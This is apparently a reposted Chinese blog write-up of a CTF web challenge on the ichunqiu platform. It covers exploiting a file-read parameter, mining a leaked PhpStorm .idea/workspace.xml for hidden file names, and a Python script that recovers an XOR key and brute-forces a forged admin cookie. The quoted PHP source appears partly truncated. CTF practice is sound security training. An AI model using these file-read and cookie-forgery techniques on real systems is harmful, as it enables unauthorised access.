博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
“百度杯”CTF比赛 九月场_Code(PhpStorm)
阅读量:6256 次
发布时间:2019-06-22

本文共 1639 字,大约阅读时间需要 5 分钟。

题目在i春秋ctf大本营

打开链接是一张图片,审查元素发现关键词base64,图片的内容都以base64加密后的形式呈现,查看url形式,应该是一个文件读取的漏洞

这里我们可以采用url/index.php?jpg=index.php来获取index.php的源代码经base64加密后的代码

base64解密后得到如下源码:

file:'.$file.'';$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);$file = str_replace("config","_", $file);$txt = base64_encode(file_get_contents($file));echo "";/* * Can you find the flag file? * */?>

这里对jpg传入的file进行一些操作,现将除了数字字母以外的字符删除,接着将config替换成_,接着将file内容进行base64加密

这里的关键是注释中的“Created by PhpStorm”,因为phpstorm写的会有一个 .idea 文件夹,里面存储了一些配置文件

访问url/.idea/workspace.xml,可以看到与index.php同一文件夹下的还有config.php,fl3g_ichuqiu.php

由于上面的代码给出了过滤条件,说明我们这里不能读到config.php,但可以读取fl3g_ichuqiu.php,根据上述代码,_要用config代替

访问url/index.php?jpg=fl3gconfigichuqiu.php,得到源码:

 这里的当务之急是要拿到输入的key的值,根据代码的最后一段:当cookie中user的值解密后不为system时,会给我们guest加密后的值,这就提醒我们key的前五位可以通过guest得知

给一下大佬的wp

# coding=utf-8import base64import requeststext = 'guest'crypt = 'YldhV0lHV09O'crypt = base64.b64decode(crypt)rnd = crypt[0:4]crypt = crypt[4:]text1 = ''for i in text:    text1 += chr(ord(i) + 10)key = ''for (i, j) in zip(text1, crypt):    key += chr(ord(i) ^ ord(j))text = 'system'text1 = ''for i in text:    text1 += chr(ord(i) +10)cookies = []for i in '0123456789abcdef':    key1 = key + i    tmp = ''    for (j, k) in zip(text1, key1):        tmp += chr(ord(j) ^ ord(k))    cookies.append(base64.b64encode(rnd + tmp))#r = requests.session()for i in cookies:    cookie = {
'user':i} r = requests.session() result = r.get('http://2ec98f1fcd174a7c941546f366c1e55cc6935c1e07604c71.game.ichunqiu.com/fl3g_ichuqiu.php', cookies=cookie) print result.text

 

转载于:https://www.cnblogs.com/Ragd0ll/p/8818111.html

你可能感兴趣的文章
用oradebug short_stack及strace -p分析oracle进程是否dead或出现故障
查看>>
Tensorflow 之 TensorBoard可视化Graph和Embeddings
查看>>
jquery easyui里datagrid用法记录
查看>>
【转】C++标准转换运算符const_cast
查看>>
ssh密码
查看>>
常用的HTML富文本编译器UEditor、CKEditor、TinyMCE、HTMLArea、eWebEditor、KindEditor简介...
查看>>
【Saltstack】Saltstack简单说明
查看>>
[转]香农信息论与毒药称球问题
查看>>
HTTP Error 500.19
查看>>
我在博客园的这一年
查看>>
红黑树
查看>>
Jackson使用ObjectManage#readValue传入泛型T的问题
查看>>
Python正则表达式中的re.S的作用
查看>>
从零开始构建一个centos+jdk7+tomcat7的docker镜像文件
查看>>
Source Insight 中文注释为乱码解决办法(完美解决,一键搞定)
查看>>
【LoadRunner】安装LoadRunner
查看>>
Linux内存管理 (15)页面迁移
查看>>
在高并发、高负载的情况下,如何给表添加字段并设置DEFAULT值?
查看>>
Cocos2d-x 3.0final 终结者系列教程13-贪食蛇游戏案例(全)
查看>>
Nginx的try_files指令和命名location使用实例
查看>>